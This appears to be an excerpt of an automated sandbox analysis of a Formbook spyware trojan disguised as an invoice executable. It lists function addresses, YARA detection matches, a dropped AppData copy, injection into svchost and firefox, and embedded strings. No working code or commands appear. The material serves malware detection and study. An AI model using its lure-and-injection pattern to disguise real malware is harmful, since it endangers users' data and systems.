Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01755630	11_2_01755630
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C16CC	11_2_017C16CC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01719950	11_2_01719950
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172B950	11_2_0172B950
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017A5910	11_2_017A5910
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0177D800	11_2_0177D800
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017138E0	11_2_017138E0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CFB76	11_2_017CFB76
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01785BF0	11_2_01785BF0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0174DBF9	11_2_0174DBF9
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172FB80	11_2_0172FB80
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01783A6C	11_2_01783A6C
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CFA49	11_2_017CFA49
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C7A46	11_2_017C7A46
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017BDAC6	11_2_017BDAC6
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01755AA0	11_2_01755AA0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017ADAAC	11_2_017ADAAC
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017B1AA3	11_2_017B1AA3
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C7D73	11_2_017C7D73
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017C1D5A	11_2_017C1D5A
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01713D40	11_2_01713D40
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_0172FDC0	11_2_0172FDC0
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01789C32	11_2_01789C32
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CFCF2	11_2_017CFCF2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CFF09	11_2_017CFF09
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016D3FD5	11_2_016D3FD5
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_016D3FD2	11_2_016D3FD2
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_017CFFB1	11_2_017CFFB1
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01711F92	11_2_01711F92
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 11_2_01719EB0	11_2_01719EB0
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_010BD5BC	12_2_010BD5BC
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Code function: 12_2_06C1ED98	12_2_06C1ED98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FA352	15_2_035FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_036003E6	15_2_036003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0354E3F0	15_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E0274	15_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035C02C0	15_2_035C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035C8158	15_2_035C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035DA118	15_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03530100	15_2_03530100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F81CC	15_2_035F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_036001AA	15_2_036001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F41A2	15_2_035F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035D2000	15_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03564750	15_2_03564750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03540770	15_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0353C7C0	15_2_0353C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0355C6E0	15_2_0355C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03540535	15_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03600591	15_2_03600591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F2446	15_2_035F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E4420	15_2_035E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035EE4F6	15_2_035EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FAB40	15_2_035FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F6BD7	15_2_035F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0353EA80	15_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03556962	15_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0360A9A6	15_2_0360A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035429A0	15_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0354A840	15_2_0354A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03542840	15_2_03542840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0356E8F0	15_2_0356E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035268B8	15_2_035268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035B4F40	15_2_035B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03560F30	15_2_03560F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E2F30	15_2_035E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03582F28	15_2_03582F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03532FC8	15_2_03532FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0354CFE0	15_2_0354CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035BEFA0	15_2_035BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03540E59	15_2_03540E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FEE26	15_2_035FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FEEDB	15_2_035FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03552E90	15_2_03552E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FCE93	15_2_035FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035DCD1F	15_2_035DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0354AD00	15_2_0354AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0353ADE0	15_2_0353ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03558DBF	15_2_03558DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03540C00	15_2_03540C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03530CF2	15_2_03530CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E0CB5	15_2_035E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0352D34C	15_2_0352D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F132D	15_2_035F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0358739A	15_2_0358739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0355B2C0	15_2_0355B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E12ED	15_2_035E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035452A0	15_2_035452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0360B16B	15_2_0360B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0352F172	15_2_0352F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0357516C	15_2_0357516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0354B1B0	15_2_0354B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035EF0CC	15_2_035EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035470C0	15_2_035470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F70E9	15_2_035F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FF0E0	15_2_035FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FF7B0	15_2_035FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03585630	15_2_03585630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F16CC	15_2_035F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F7571	15_2_035F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_036095C3	15_2_036095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035DD5B0	15_2_035DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03531460	15_2_03531460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FF43F	15_2_035FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FFB76	15_2_035FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035B5BF0	15_2_035B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0357DBF9	15_2_0357DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0355FB80	15_2_0355FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FFA49	15_2_035FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F7A46	15_2_035F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035B3A6C	15_2_035B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035EDAC6	15_2_035EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035DDAAC	15_2_035DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03585AA0	15_2_03585AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035E1AA3	15_2_035E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03549950	15_2_03549950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0355B950	15_2_0355B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035D5910	15_2_035D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035AD800	15_2_035AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035438E0	15_2_035438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FFF09	15_2_035FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03503FD2	15_2_03503FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03503FD5	15_2_03503FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03541F92	15_2_03541F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FFFB1	15_2_035FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03549EB0	15_2_03549EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F1D5A	15_2_035F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_03543D40	15_2_03543D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035F7D73	15_2_035F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0355FDC0	15_2_0355FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035B9C32	15_2_035B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_035FFCF2	15_2_035FFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C1A70	15_2_007C1A70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007BC970	15_2_007BC970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007BC967	15_2_007BC967
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007BCB90	15_2_007BCB90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007BAC10	15_2_007BAC10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C5140	15_2_007C5140
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C3310	15_2_007C3310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007C330B	15_2_007C330B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007B1391	15_2_007B1391
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_007DB740	15_2_007DB740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0340E2F7	15_2_0340E2F7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0340E7AC	15_2_0340E7AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0340E413	15_2_0340E413
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0340CAD3	15_2_0340CAD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 15_2_0340D818	15_2_0340D818

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03587E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0352B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03575130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035BF290 appears 105 times
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: String function: 01757E54 appears 111 times
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: String function: 016FB970 appears 280 times
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: String function: 0178F290 appears 105 times
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: String function: 01745130 appears 58 times
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: String function: 0177EA12 appears 86 times

Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2189838691.000000000184E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2204578486.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000002.2214689659.00000000079A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119955184.000000000107A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepaDa.exe@ vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001177000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesvchost.exej% vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300679134.00000000017FD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesvchost.exej% vs z1SupplyInvoiceCM60916_Doc.exe
Source: z1SupplyInvoiceCM60916_Doc.exe	Binary or memory string: OriginalFilenamepaDa.exe@ vs z1SupplyInvoiceCM60916_Doc.exe

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: z1SupplyInvoiceCM60916_Doc.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: dpqsbGoWdXlp.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: _0020.AddAccessRule
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, xw89F7YueMt8vZytUc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.79a0000.5.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: _0020.AddAccessRule
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, xw89F7YueMt8vZytUc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.46f5ac8.2.raw.unpack, KyybefU7jS1OJapg9Y.cs	Security API names: _0020.AddAccessRule
Source: 0.2.z1SupplyInvoiceCM60916_Doc.exe.477d8e8.3.raw.unpack, xw89F7YueMt8vZytUc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/16@15/9

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe

Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4340:120:WilError_03

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File created: C:\Users\user\AppData\Local\Temp\tmp68D8.tmp

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: z1SupplyInvoiceCM60916_Doc.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: UPDATE [dbo].[Customers] SET [C_Fname] = @C_Fname, [C_Lname] = @C_Lname, [C_address] = @C_address, [C_City] = @C_City, [C_Country] = @C_Country, [C_datemodifay] = @C_datemodifay WHERE (([C_id] = @Original_C_id) AND ([C_Fname] = @Original_C_Fname) AND ([C_Lname] = @Original_C_Lname) AND ([C_City] = @Original_C_City) AND ([C_Country] = @Original_C_Country) AND ((@IsNull_C_datemodifay = 1 AND [C_datemodifay] IS NULL) OR ([C_datemodifay] = @Original_C_datemodifay)));
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: INSERT INTO [dbo].[Product] ([Product_name], [p_modifaydate]) VALUES (@Product_name, @p_modifaydate);
Source: z1SupplyInvoiceCM60916_Doc.exe, 00000000.00000000.2119876614.0000000000F92000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000000F.00000002.4578189641.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.2582857930.000000003223C000.00000004.80000000.00040000.00000000.sdmp, dpqsbGoWdXlp.exe.0.dr	Binary or memory string: INSERT INTO [dbo].[Orders] ([C_id], [order_date], [sheeped_date], [O_maodifaydate]) VALUES (@C_id, @order_date, @sheeped_date, @O_maodifaydate);
